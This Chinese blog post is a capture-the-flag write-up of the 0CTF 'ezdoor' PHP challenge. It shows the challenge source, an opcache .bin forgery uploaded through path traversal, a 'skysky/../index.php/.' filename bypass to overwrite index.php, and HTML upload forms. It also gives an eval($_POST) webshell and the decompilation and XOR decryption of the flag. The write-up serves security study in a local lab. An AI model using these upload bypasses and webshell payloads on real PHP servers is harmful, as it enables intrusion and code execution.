Sky's blog

0ctf-ezdoor

Word count: 5,355 / Reading time: 26 min
2018/04/11 Share

前言

今天闲来无事,准备总结一下0ctf的ezdoor这题,反正现在的web是不可能纯web了,怎么都得带着点bin,干脆就从这题开始我的webin之路吧(滑稽)

环境搭建

这次环境搭建就比较友好了
出题大哥已经公布源码了(默默给大哥打call)

1
https://github.com/LyleMi/My-CTF-Challenges

使用方式也很简单

1
git clone https://github.com/LyleMi/My-CTF-Challenges.git

然后到dockerfile的目录下

1
docker build -t 0ctf-ezdoor .

build完成后

1
docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor

当然,如果Build处报错了,说不存在sandbox文件夹
可以在dockerfile里加一行

1
RUN mkdir /var/www/html/sandbox/

就可以解决啦
这次的环境搭建还算非常容易
然后访问

1
http://192.168.130.157:8585

即可看到题目

源码分析

代码不多,我直接全部给出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}

function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}

switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}

if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}

$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

先看前几行

1
2
3
4
5
6
7
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}

程序会在sandbox下根据你的ip创建一个文件夹
然后再在刚刚创建的文件夹中创建index.php文件
接下来是一个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}

即clear功能,简单来说
就是删除文件夹内内容
再删除文件夹
然后是一个switch选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

题目给出了6个选项:

1
2
3
4
5
6
1.打印你的路径
2.打印phpinfo信息
3.重置,即前面提到的clear功能,删除你的文件夹
4.时间,打印当前时间
5.上传,上传内容
6.shell包含,即包含你刚刚文件夹下的index.php文件

然后关于上传功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}

$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;

首先文件大小有限制,太大会触发clear功能清除文件夹
然后是对写入的文件名有限制,后缀中不可以出现h,这就意味着

1
php phtml phps...

等被过滤无法使用
然后利用move_uploaded_file移动文件
现在来看整个流程,不难读懂题目的意思

1
2
3
1.利用上传功能,覆盖index.php文件
2.利用shell包含功能,包含我们恶意覆盖的index.php文件
3.利用shell,根据flag文件路径进行读取

那么下面的思路就很明确了,如何覆盖index.php成为重中之重

预期解

phpinfo突破口

既然题目给出了phpinfo,那么一定里面藏着一些提示
我们在浏览phpinfo的时候可以看见

1
opcache.enable => On => On

opcache服务是正常开启的,那么opcache是什么呢?

opcache突破口

opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。
那么为什么opcache可以导致我们进行文件覆盖呢?
我们设想A网站:
A网站的网页index.php具有缓存文件index.php.bin
而访问index.php的时候加载缓存index.php.bin
倘若这时候具有上传,我们可以覆盖index.php.bin
是不是就会加载我们的恶意文件了呢?
题目中虽然过滤php类型的结尾,但是却未过滤bin的结尾

opcache文件构造思路

既然想要伪造opcache文件,就必须了解其规则问题
观察phpinfo我们可以发现如下信息

1
opcache.file_cache => /tmp/cache => /tmp/cache

不难发现opcache文件是保存在/tmp/cache目录下的
然后通过测试,我发现,实际目录是

1
/tmp/cache/system_id/.....

比如我以这题为例
我如果访问/var/www/html/index.php文
则会生成opcache文件于

1
/tmp/cache/97d778899a99fd6d6a4b0b9e628322f5/var/www/html/index.php.bin

所以我们现在的目的也很明确了
构造一个

1
/tmp/cache/[system_id]/var/www/html/sandbox/[ip_remote_addr]/index.php.bin

即可
然后上传覆盖题目当前的空白的index.php.bin
即可达到恶意缓存覆盖,加载我们的index.php的目的

opcache-system_id

第一个问题是如何生成与题目一致的system_id
这里有个工具可以帮到忙

1
https://github.com/GoSecure/php7-opcache-override

其中使用样例说的很细致

1
2
3
4
5
6
7
$ ./system_id_scraper.py info.html
PHP version : 7.0.4-7ubuntu2
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea

即可生成system_id
这里我们去phpinfo搜集对应信息

1
2
3
4
5
6
PHP version : 7.0.28
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 7badddeddbd076fe8352e80d8ddf3e73

然后利用脚本即可轻松得到system_id

opcache文件生成

生成方式也很简单
用一个同样配置,同样php版本的相同环境
然后在相同目录下放置我们想要的php内容

1
2
3
<?php
echo '666';
?>

然后去访问该文件,即可在opcache目录下获得对应的缓存文件
知道了方法,我们先去看一下当前路径

1
http://192.168.130.157:8585/?action=pwd

可以获得

1
sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/

然后我们去自己搭建的环境中创建相同文件夹
然后放入index.php,访问,即可获得相应的opcache文件,即

1
index.php.bin

opcache-timestamp

这里还有一个问题,即opcache还有一个时间戳
在phpinfo里可以看见开启

1
opcache.validate_timestamps => On => On

相关的bypass方法,在这篇文章里已经有所提及

1
http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/

即获取到文件创建时的timestamp,然后写到cache的bin里面。
操作方法如下

1
2
3
4
import requests
print requests.get('http://192.168.130.157:8585/index.php?action=time').content
print requests.get('http://192.168.130.157:8585/index.php?action=reset').content
print requests.get('http://192.168.130.157:8585/index.php?action=time').content

然后我们修改opcache文件index.php.bin的数据

1
2
system_id
timestamps

两项,为我们之前预测出来的值即可

opcache-文件上传

然后我们构造上传路径

1
../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin

然后构造html表单

1
2
3
4
<form action="http://192.168.130.157:8585/index.php?action=upload&name=../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin" method="post" enctype="multipart/form-data">
<input type="file" name="file1" />
<input type="submit" />
</form>

上传后再访问

1
http://192.168.130.157:8585/index.php?action=shell

发现文件覆盖包含成功,页面打印666

非预期解

‘/.’bypass

首先什么是/.
这是一种bypass手法
例如

1
index.php/.

这样的文件名去绕过检测
我们不妨测试

1
2
3
4
5
6
7
<?php 
$name = 'index.php';
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
echo "fuck";
}
?>

此时运行打印fuck,而如果使用

1
index.php/.

则可以成功绕过

‘/.’原理分析

这里要从wonderkun师傅的博客说起

1
http://wonderkun.cc/index.html/?p=626

wonderkun师傅已经在文章中做了详细的阐述
其中php在文件路径处理上的底层关键代码函数tsrm_realpath()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
i = len;  
// i的初始值为字符串的长度
while (i > start && !IS_SLASH(path[i-1])) {
i--;
// 把i定位到第一个/的后面
}
if (i == len ||
(i == len - 1 && path[i] == '.')) {
len = i - 1;
// 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php
is_dir = 1;
continue;
} else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {
//删除路径结尾的 /..
is_dir = 1;
if (link_is_dir) {
*link_is_dir = 1;
}
if (i - 1 <= start) {
return start ? start : len;
}
j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC);
// 进行递归调用的时候,这里把strlen设置为了i-1,

php在做路径处理的时候,会递归的删除掉路径中存在的/.,所以会导致写入文件成功。
即导致
我们上传的文件名为

1
index.php/.

经过php的文件路径处理,我们不但bypass成功,上传的文件名依旧为

1
index.php

但是wonderkun师傅同时也在博客中提及
虽然/.可以bypass过滤上传成功,但是无法进行文件覆盖
关键原因师傅也提及的很明确了
这里同样摘录引用

1
2
3
4
5
6
7
8
1077 if (save && php_sys_lstat(path, &st) < 0) {
1078 if (use_realpath == CWD_REALPATH) {
1079 /* file not found */
1080 return -1;
1081 }
1082 /* continue resolution anyway but don't save result in the cache */
1083 save = 0;
1084 }

1
2
3
4
5
6
7
8
9
10
11
1120 if (save) {
1121 directory = S_ISDIR(st.st_mode);
1122 if (link_is_dir) {
1123 *link_is_dir = directory;
1124 }
1125 if (is_dir && !directory) {
1125 /* not a directory */
1127 free_alloca(tmp, use_heap);
1128 return -1;
1129 }
1130 }

php_sys_lstat是一个宏定义,其实是系统函数lstat,主要功能是获取文件的描述信息存入st结构体中,由于上面分析会删除掉路径中的/.,所以调用时传入的path=/Users/wonderkun/script/php-src/sapi/cli/./index.php
当第一次执行时不存在index.php文件,函数php_sys_lstat返回-1,所以第1083行会被执行,重置save为0,所以1120-1130行都没有被执行。

当第二次执行,覆盖老文件的时候,/Users/wonderkun/script/php-src/sapi/cli/./index.php已经是一个存在的文件了,所以php_sys_lstat返回0,st中存储的是一个文件的信息,save还是1,导致1120-1130行被执行。由于之前php认为/Users/wonderkun/script/php-src/sapi/cli/./index.php/.是一个目录(is_dir是1),现在有获取到/Users/wonderkun/script/php-src/sapi/cli/./index.php是一个文件,所以is_dir && !directory为true,函数返回了-1,得到的路径长度出错,所以无法覆盖老文件。

那么问题来了,虽然index.php/.可以成功上传并且Bypass过滤,但是无法覆盖已经存在的空白文件index.php这该怎么办呢?

神奇的move_uploaded_file()

当时比赛的时候,我使用的payload为

1
sky/../index.php/.

当时简单的认为应该是move_uploaded_file()遇到前面不存在的文件夹而存在问题导致不存在的文件夹

1
sky

成为类似于跳板的东西,导致我们的

1
index.php/.

成功覆盖index.php
而如果直接使用

1
/index.php/.

是不能够覆盖成功的,原因前面已经提及
但是后来看见pupiles师傅的一篇文章(下文已给出链接),发现move_uploaded_file()index.php/.的成功覆盖并不是我想的那么容易,这还是要从底层说起:
关于move_uploaded_file()的底层实现的关键代码

1
2
3
4
5
6
if (VCWD_RENAME(path, new_path) == 0) {
successful = 1;
} else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) {
VCWD_UNLINK(path);
successful = 1;
}

这里并未使用之前提及的tsrm_realpath()函数,并且如果文件已经存在的话,就不会再打开文件,于是php_sys_lstat会返回0。
而当时我们覆盖失败的原因正是因为

1
/Users/wonderkun/script/php-src/sapi/cli/./index.php

已经是一个存在的文件了,所以php_sys_lstat返回0
但是如果这个时候我们如果使用

1
sky/../index.php/.

即带有不存在文件夹的路径
那么在判断时也就不会判定存在该文件,所以此时php_sys_lstat返回的是-1,最后也导致了成功的覆盖了文件
当然我这里也只是简单的概述,若想要深入探究,可以阅读这两篇文章

1
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

1
https://blog.zsxsoft.com/post/36

默默给两位大哥打call

payload

所以最后我们简单使用payload

1
skysky/../index.php/.

然后构造表单

1
2
3
4
<form action="http://192.168.130.157:8585/index.php?action=upload&name=skysky/../index.php/." method="post" enctype="multipart/form-data">
<input type="file" name="file1" />
<input type="submit" />
</form>

上传数据内容为

1
2
3
<?php
echo '666';
?>

上传后再访问

1
http://192.168.130.157:8585/index.php?action=shell

发现文件覆盖包含成功,页面打印666

从shell到获取flag文件

index.php文件覆盖成功后,我们又遇到了新的问题
比如我们写如下shell

1
2
3
<?php
@eval($_POST['sky']);
?>

会发现包含后完全不起作用
这时候意识到题目做了许多过滤
一些类似系统命令的指令都被禁止了
随后发现部分php函数还在

1
2
var_dump()
scandir()


于是构造出Payload

1
2
3
<?php
var_dump(scandir('/var/www/html/flag'));
?>

可以发现flag文件夹下的文件

1
93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

本以为到此结束了,读取文件后发现竟然又是个opcache文件
故此我们顺利得到flag.php.bin

强行反编译

拿到题目后,首先发现opcache文件头有点问题,少了一个00
补上后继续利用工具

1
https://github.com/GoSecure/php7-opcache-override

进行反编译
首先按照库依赖

1
2
3
pip install construct==2.8.22
pip install treelib
pip install termcolor

这里需要注意一下construct的版本,否则会报错
然后利用工具进行反编译,操作如下

1
./opcache_disassembler.py -c -a64 flag.php.bin

然后得到反编译后的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
function encrypt() {
#0 !0 = RECV(None, None);
#1 !0 = RECV(None, None);
#2 DO_FCALL_BY_NAME(None, 'mt_srand');
#3 SEND_VAL(1337, None);
#4 (129)?(None, None);
#5 ASSIGN(!0, '');
#6 (121)?(!0, None);
#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0);
#11 JMP(->-24, None);
#12 DO_FCALL_BY_NAME(None, 'chr');
#13 DO_FCALL_BY_NAME(None, 'ord');
#14 FETCH_DIM_R(!0, None);
#15 (117)?(None, None);
#16 (129)?(None, None);
#17 DO_FCALL_BY_NAME(None, 'ord');
#18 MOD(None, None);
#19 FETCH_DIM_R(!0, None);
#20 (117)?(None, None);
#21 (129)?(None, None);
#22 BW_XOR(None, None);
#23 DO_FCALL_BY_NAME(None, 'mt_rand');
#24 SEND_VAL(0, None);
#25 SEND_VAL(255, None);
#26 (129)?(None, None);
#27 BW_XOR(None, None);
#28 SEND_VAL(None, None);
#29 (129)?(None, None);
#30 ASSIGN_CONCAT(!0, None);
#31 PRE_INC(None, None);
#32 IS_SMALLER(None, None);
#33 JMPNZ(None, ->134217662);
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);

}
function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 DO_FCALL_BY_NAME(None, 'dechex');
#5 DO_FCALL_BY_NAME(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 (117)?(None, None);
#8 (129)?(None, None);
#9 (117)?(None, None);
#10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);

详细可以参考
OPCode详解及汇编与反汇编原理,链接如下:

1
https://blog.csdn.net/sqzxwq/article/details/47786345

这里就不一步一步逆向了。。。毕竟我还是个web选手
最后给出逆向后的官方代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}

function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return encode($cipher);
}

$flag = "input_your_flag_here";

if(encrypt("this_is_a_very_secret_key", $flag) === "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab") {
echo "Congratulation! You got it!";
} else {
echo "Wrong Answer";
}

exit();

发现是个加密题

解密获得flag

我们研读加密函数encrypt()

1
2
3
4
5
6
7
8
9
10
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return encode($cipher);
}

发现关键点有2个

1
2
1.mt_srand(1337)
2.xor加密

然后跟进encode()函数

1
2
3
4
5
6
7
8
9
10
11
12
function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}

发现只是用来保证16进制是2位的,比如
我们测试

1
2
3
4
5
6
function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
var_dump($tmp);
}

打印出来

1
2
3
4
5
string(2) "56"
string(2) "3a"
string(2) "c5"
string(1) "9"
string(2) "51"

可以看到第4个是”1”
所以需要在前面加个0,变成”01”
所以重点还是在于encrypt()函数
关注到之前的xor运算

1
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

这里的$pwd

1
this_is_a_very_secret_key

$data为我们想要的值
此时我们有$cipher
我们知道xor运算是可逆的
比如

1
$cipher[$i] = chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

我们可以得到

1
chr(ord($data[$i]) = $cipher[$i] ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

故此可以拿到flag,所以只需要把密文当做明文,再进行一次encrypt()即可获得flag
我们测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}

function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
// return base64_encode($cipher);
return encode($cipher);
}
$test = "flag{123456}";
echo encrypt("this_is_a_very_secret_key", $test);

得到密文

1
af8b20dc63d3349af9563a8f

我们尝试解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}

function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
// return base64_encode($cipher);
return $cipher;
}

function hex2String($hex)
{
$string = '';
for($i=0;$i<strlen($hex)-1;$i+=2)
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
$res = hex2String('af8b20dc63d3349af9563a8f');
echo encrypt("this_is_a_very_secret_key", $res);

运行即可得到结果

1
flag{123456}

验证了解密思路无误后,开始解密题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}

function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return $cipher;
}

$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';
function hex2String($hex)
{
$string = '';
for($i=0;$i<strlen($hex)-1;$i+=2)
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
$res = hex2String($flag);
echo encrypt("this_is_a_very_secret_key", $res);

结果发现结果得到的是乱码
后来题目给出提示
环境是php7.2,而我是php7.0
故此可能

1
mt_srand(1337);

种子产生影响而导致解密失败,于是安装php7.2
考虑到繁琐性,我这里使用docker

1
docker search php7.2

得到回显

1
skiychan/nginx-php7                       nginx-php7.2 for docker

很明显这个还不错,我们选择拉取

1
docker pull skiychan/nginx-php7

然后运行

1
docker run -dit -p 11111:80 skiychan/nginx-php7

然后进入

1
docker exec -it 9279 /bin/bash

然后进入

1
/data/www

修改Index.php为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

function encode($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}

function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < $data_length; $i++) {
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return $cipher;
}

$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';
function hex2String($hex)
{
$string = '';
for($i=0;$i<strlen($hex)-1;$i+=2)
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
$res = hex2String($flag);
echo encrypt("this_is_a_very_secret_key", $res);

访问

1
http://192.168.130.157:11111/

得到flag

1
flag{0pc4che_b4ckd00r_is_4_g0o6_ide4}

后记

大概总结一下流程
1.上传文件覆盖index.php
2.包含文件拿shell
3.读flag.php.bin
4.进行反编译
5.获得crypto代码
6.解密得到flag
其中涉及非预期:
/.的绕过过滤的覆盖问题
再次膜分析底层的大佬们

CATALOG
  1. 1. 前言
  2. 2. 环境搭建
  3. 3. 源码分析
  4. 4. 预期解
    1. 4.1. phpinfo突破口
    2. 4.2. opcache突破口
    3. 4.3. opcache文件构造思路
    4. 4.4. opcache-system_id
    5. 4.5. opcache文件生成
    6. 4.6. opcache-timestamp
    7. 4.7. opcache-文件上传
  5. 5. 非预期解
    1. 5.1. ‘/.’bypass
    2. 5.2. ‘/.’原理分析
    3. 5.3. 神奇的move_uploaded_file()
    4. 5.4. payload
  6. 6. 从shell到获取flag文件
  7. 7. 强行反编译
  8. 8. 解密获得flag
  9. 9. 后记